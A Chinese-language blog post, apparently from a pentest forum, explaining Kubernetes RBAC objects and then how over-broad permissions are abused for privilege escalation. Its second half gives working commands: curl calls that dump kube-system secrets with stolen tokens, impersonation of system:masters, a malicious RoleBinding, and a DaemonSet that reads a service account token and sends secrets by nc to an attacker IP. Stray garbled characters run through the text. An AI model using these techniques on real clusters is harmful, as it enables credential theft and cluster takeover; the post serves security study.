本文首發(fā)于火線Zone:https://zone.huoxian.cn/?sort=newest
作者:今天R了嗎
在K8s中RBAC是常用的授權(quán)模式肠仪,如果在配置RBAC時(shí)分配了“過大”資源對(duì)象訪問權(quán)限可導(dǎo)致權(quán)限濫用來提權(quán),以至于攻擊者擴(kuò)大戰(zhàn)果,滲透集群。
如下是一些RBAC相關(guān)的筆記。
k8s的RBAC
RBAC
- 基于角色的訪問控制赫编。
RBAC
使用rbac.authorization.k8s.io
API Group 來實(shí)現(xiàn)授權(quán)決策,允許管理員通過 Kubernetes API 動(dòng)態(tài)配置策略,要啟用RBAC
垒拢,需要在 apiserver 中添加參數(shù)--authorization-mode=RBAC
,如果使用的kubeadm
安裝的集群火惊,1.6 版本以上的都默認(rèn)開啟了RBAC
:
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep "authorization-mode"
RBAC相關(guān)對(duì)象
K8s所有的資源對(duì)象都是模型化的API對(duì)象求类,允許執(zhí)行CRUD,RBAC也有相關(guān)API對(duì)象屹耐,像Role尸疆、ClusterRole對(duì)象都是K8s內(nèi)部的 API 資源,可以使用kubectl
相關(guān)的命令來進(jìn)行操作:
-
Role
和ClusterRole
:角色和集群角色张症,這兩個(gè)對(duì)象都包含上面的 Rules 元素仓技,二者的區(qū)別在于,在 Role 中俗他,定義的規(guī)則只適用于單個(gè)命名空間脖捻,也就是和 namespace 關(guān)聯(lián)的,而 ClusterRole 是集群范圍內(nèi)的兆衅,因此定義的規(guī)則不受命名空間的約束地沮。 -
RoleBinding
和ClusterRoleBinding
:角色綁定和集群角色綁定嗜浮,簡單來說就是把聲明的 Subject 和我們的 Role 進(jìn)行綁定的過程(給某個(gè)用戶綁定上操作的權(quán)限),二者的區(qū)別也是作用范圍的區(qū)別:RoleBinding 只會(huì)影響到當(dāng)前 namespace 下面的資源操作權(quán)限摩疑,而 ClusterRoleBinding 會(huì)影響到所有的 namespace危融。
舉一些RBAC使用的例子。
創(chuàng)建一個(gè)只能訪問固定namespace的的hx
用戶
1.新創(chuàng)建一個(gè)用戶憑證
給hx用戶創(chuàng)建一個(gè)私鑰:
openssl genrsa -out hx.key 2048
再使用這個(gè)私鑰創(chuàng)建一個(gè)證書簽名請(qǐng)求文件
,-subj
參數(shù)后是用戶名和組(CN表示用戶名雷袋,O表示組):
openssl req -new -key hx.key -out hx.csr -subj "/CN=hx/O=huoxian"
然后再使用K8s的CA證書來批準(zhǔn)上面的證書請(qǐng)求:
這時(shí)候證書文件生成成功:
$ ls h* ─╯
hx.crt hx.csr hx.key
現(xiàn)在使用創(chuàng)建的證書和私鑰來在集群中創(chuàng)建新的憑證和上下文(Context):
sudo kubectl config set-credentials hx --client-certificate=hx.crt --client-key=hx.key
為hx用戶設(shè)置新的 Context:
$ sudo kubectl config set-context hx-context --cluster=kubernetes --namespace=kube-system --user=hx ─╯
Context "hx-context" created.
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: hx-role
namespace: kube-system
rules:
- apiGroups: ["", "extensions", "apps"]
resources: ["deployments", "replicasets", "pods"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"] # 也可以使用['*']
其中幾個(gè)重要的字段:
apiGroups
:其中的apiGroups: ["", "extensions", "apps"]
為什么這么寫吉殃?是因?yàn)橥ㄟ^https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.10/文檔查詢得知,Pod
屬于 core API Group(為空即可)楷怒,Deployment
屬于 apps API Group蛋勺,ReplicaSets
屬于extensions
API Group。verbs
:可以對(duì)這些資源對(duì)象執(zhí)行的操作,如果是所有操作就用*代替鸠删。
創(chuàng)建hx-role這個(gè)Role:
2.創(chuàng)建角色權(quán)限綁定
將hx用戶和這個(gè)role綁定起來:
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: hx-rolebinding
namespace: kube-system
subjects:
- kind: User
name: hx
apiGroup: ""
roleRef:
kind: Role
name: hx-role
apiGroup: ""
Subject
字段是主題抱完,對(duì)應(yīng)在集群中嘗試操作的對(duì)象,集群中定義了3種類型的主題資源:
- User Account:用戶刃泡,這是有外部獨(dú)立服務(wù)進(jìn)行管理的巧娱,管理員進(jìn)行私鑰的分配,用戶可以使用 KeyStone或者 Goolge 帳號(hào)烘贴,甚至一個(gè)用戶名和密碼的文件列表也可以禁添。對(duì)于用戶的管理集群內(nèi)部沒有一個(gè)關(guān)聯(lián)的資源對(duì)象,所以用戶不能通過集群內(nèi)部的 API 來進(jìn)行管理
- Group:組庙楚,這是用來關(guān)聯(lián)多個(gè)賬戶的上荡,集群中有一些默認(rèn)創(chuàng)建的組,比如cluster-admin
- Service Account:服務(wù)帳號(hào)馒闷,通過
Kubernetes
API 來管理的一些用戶帳號(hào)酪捡,和 namespace 進(jìn)行關(guān)聯(lián)的,適用于集群內(nèi)部運(yùn)行的應(yīng)用程序纳账,需要通過 API 來完成權(quán)限認(rèn)證逛薇,所以在集群內(nèi)部進(jìn)行權(quán)限操作,我們都需要使用到 ServiceAccount疏虫,這也是我們這節(jié)課的重點(diǎn)
現(xiàn)在使用hx用戶來操作集群資源,這個(gè)時(shí)候不需要指定namespace
永罚,因?yàn)橐呀?jīng)給用戶分配了權(quán)限:
sudo kubectl get pods --context=hx-context
創(chuàng)建一個(gè)只能訪問固定namespace的的hx-sa
的ServiceAccount
Subject
字段還可以是ServiceAccount,對(duì)ServiceAccount來進(jìn)行角色綁定卧秘。
1.創(chuàng)建一個(gè)ServiceAccount對(duì)象
sudo kubectl create sa hx-sa -n kube-system
2.創(chuàng)建角色
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: hx-sa-role
namespace: kube-system
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "watch", "list"]
- apiGroups: ["apps"]
resources: ["deployments"]
verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
3.創(chuàng)建角色綁定
kind: RoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: hx-sa-rolebinding
namespace: kube-system
subjects:
- kind: ServiceAccount
name: hx-sa
namespace: kube-system
roleRef:
kind: Role
name: hx-sa-role
apiGroup: rbac.authorization.k8s.io
這時(shí)候可以使用sa賬戶的token去訪問apiserver的資源了:
sudo kubectl get secret -n kube-system |grep hx-sa
sudo kubectl get secret hx-sa-token-bkrlc -o jsonpath={.data.token} -n kube-system |base64 -d
創(chuàng)建ClusterRoleBinding
如果需要?jiǎng)?chuàng)建一個(gè)可以訪問所有namespace的角色呢袱,就可以使用ClusterRole 和 ClusterRoleBinding 這兩種資源對(duì)象了。
sa:
apiVersion: v1
kind: ServiceAccount
metadata:
name: hx-sa2
namespace: kube-system
ClusterRoleBinding 對(duì)象:
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
name: hx-sa2-clusterrolebinding
subjects:
- kind: ServiceAccount
name: hx-sa2
namespace: kube-system
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
這里是直接使用的cluster-admin 這個(gè)對(duì)象(Kubernetes
集群內(nèi)置的 ClusterRole 對(duì)象)而不是單獨(dú)新建的ClusterRole對(duì)象翅敌。內(nèi)置的集群角色和集群角色綁定都可以查看
kubectl get clusterrole
kubectl get clusterrolebinding
RBAC權(quán)限濫用提權(quán)
權(quán)限濫用主要在對(duì)特定資源有特定操作的情況下羞福,可以有特定的權(quán)限提升。
對(duì)哪里資源有哪些操作權(quán)限通過上面已經(jīng)說了蚯涮,看rules的字段內(nèi)容即可治专,配置resources
和verbs
都為*那不用說卖陵,所有資源都可以進(jìn)行任意操作。
枚舉當(dāng)前RBAC權(quán)限
在指定當(dāng)前通過滲透得到用戶憑據(jù)或者sa的憑據(jù)后张峰,可以先枚舉當(dāng)前有哪些權(quán)限:
[upl-也可以使用curl對(duì)apiserver的api進(jìn)行訪問來區(qū)別當(dāng)前的權(quán)限:
枚舉之后應(yīng)該對(duì)當(dāng)前憑據(jù)對(duì)資源的操作有個(gè)數(shù)了泪蔫,下面列舉在分配權(quán)限時(shí),哪些情況下有提權(quán)提升的可能喘批。
create pods權(quán)限
resources: ["*"] verbs: ["create"]
:resources
為*或者為pods
的情況下撩荣,verbs是create
,在集群中可以創(chuàng)建任意資源饶深,比如像pods婿滓,roles.而創(chuàng)建pods的命名空間也取決你role中metadata.namespace的值:
如果有create權(quán)限,常見攻擊手法就是創(chuàng)建掛載根目錄的pod粥喜,跳到node:
list secrets權(quán)限
resources: ["*"] verbs: ["list"]
:resources
為*或者為secrets
的情況下,verbs是list
,在集群中可以列出其他user的secrets橘券,一般拿來尋找特權(quán)賬號(hào)憑據(jù)额湘。
具有l(wèi)ist權(quán)限或者說是list secrets權(quán)限的role可以列出集群中重要的secrets,包括管理的keys(JWT):
利用:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
get secret權(quán)限
resources: ["*"] verbs: ["get"]
: resources
為*或者為secrets
的情況下旁舰,verbs是get
锋华,get可以在集群中獲得其他service accounts的secrets。
如下定義Role的resources字段為*或者secrets對(duì)象箭窜,并且verbs為get毯焕,這時(shí)候有權(quán)限獲得其他secrets。
get權(quán)限能訪問的api:
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
但是get和list不一樣磺樱,get需要知道secrets的id才能讀:
圖出處:list和get來竊取憑據(jù)的區(qū)別:https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf
這時(shí)候用讀secrets來攻擊的話常見手法是讀默認(rèn)的sa的token,默認(rèn)有這些sa:
對(duì)應(yīng)的token:
kubectl -n kube-system get secret -n kube-system
可以看到每個(gè)sa的token都是sa的
name-token-隨機(jī)五個(gè)字符
,
其中隨機(jī)的字符是由數(shù)字和字母組合纳猫,特定的27個(gè)字符:
27的5次方也是14,348,907可能,寫個(gè)py腳本的迭代器爆破即可:
get list watch secrets權(quán)限
resources: ["*"] verbs: ["get","list","watch"]
:resources字段為*或者secrets的話可以利用這三個(gè)權(quán)限竹捉,來創(chuàng)建一個(gè)惡意pod后通過掛載secrets以至獲取別人的secrets芜辕,然后外帶:
這里使用automountServiceAccountToken
將特權(quán)服務(wù)帳戶的令牌掛載到 pod,使用令牌獲取拿到所有secrets后用nc傳到攻擊者監(jiān)聽端口块差,當(dāng)前也可以使用其他方式帶外:
圖出處侵续,創(chuàng)建一個(gè)"hot pod"來竊取憑據(jù):https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf
Impersonate權(quán)限
用戶可以通過模擬標(biāo)頭充當(dāng)另一個(gè)用戶。這些讓請(qǐng)求手動(dòng)覆蓋請(qǐng)求身份驗(yàn)證的用戶信息憨闰。例如状蜗,管理員可以使用此功能通過臨時(shí)模擬另一個(gè)用戶并查看請(qǐng)求是否被拒絕來調(diào)試授權(quán)策略。
以下 HTTP 標(biāo)頭可用于執(zhí)行模擬請(qǐng)求:
-
Impersonate-User
:要充當(dāng)?shù)挠脩裘?/li> -
Impersonate-Group
:要充當(dāng)?shù)慕M名鹉动≡玻可以多次提供設(shè)置多個(gè)組⊙雕桑可選的眶根。需要“模擬用戶”蜀铲。 -
Impersonate-Extra-( extra name )
:用于將額外字段與用戶關(guān)聯(lián)的動(dòng)態(tài)標(biāo)題∈舭伲可選的记劝。需要“模擬用戶”。 -
Impersonate-Uid
:代表被模擬用戶的唯一標(biāo)識(shí)符族扰⊙岢螅可選的。需要“模擬用戶”渔呵。Kubernetes 對(duì)此字符串沒有任何格式要求怒竿。
有了Impersonate
權(quán)限攻擊者可以模擬一個(gè)有特權(quán)的賬戶或者組:
Role:
binding:
模擬用戶的操作是通過調(diào)用K8s API 的Header來指定的,kubectl可以加入--as參數(shù):
kubectl --as <user-to-impersonate> ...
kubectl --as <user-to-impersonate> --as-group <group-to-impersonate> ...
請(qǐng)求apiserver:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
其他API資源對(duì)象的create權(quán)限濫用
如果當(dāng)前Role的權(quán)限扩氢,是其他API對(duì)象的創(chuàng)建耕驰,比如Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs,Cronjobs
等录豺,都是可以進(jìn)行創(chuàng)建然后在containers.args字段加入執(zhí)行的e惡意命令:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
其他創(chuàng)建pod的方法具體可以查看pod-templates:https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/#pod-templates
Bind權(quán)限
用有bind
權(quán)限允許用戶將高角色綁定到當(dāng)前已經(jīng)被控制的帳戶導(dǎo)致權(quán)限提權(quán)朦肘。
下面的ClusterRole使用了bind權(quán)限,允許用戶創(chuàng)建一個(gè)與管理ClusterRole(默認(rèn)的高特權(quán)角色)的RoleBinding双饥,并添加任何用戶媒抠,包括自己,到這個(gè)管理ClusterRole:
那么就有可能創(chuàng)造出惡意角色binging咏花,它將管理員角色綁定到現(xiàn)在已經(jīng)被控制的帳戶:
使用kubectl指定token或者curl到apiserver來完成綁定:
curl -k -v -X POST -H "Authorization: Bearer <JWT TOKEN>" \
-H "Content-Type: application/json" \
https://<master_ip>:<port>/apis/rbac.authorization.k8s.io/v1/namespaces/default/rolebindings \
-d @malicious-RoleBinging.json
然后當(dāng)前賬戶就是高權(quán)限角色趴生,自然可以列出secret等:
curl -k -v -X POST -H "Authorization: Bearer <COMPROMISED JWT TOKEN>"\
-H "Content-Type: application/json"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secret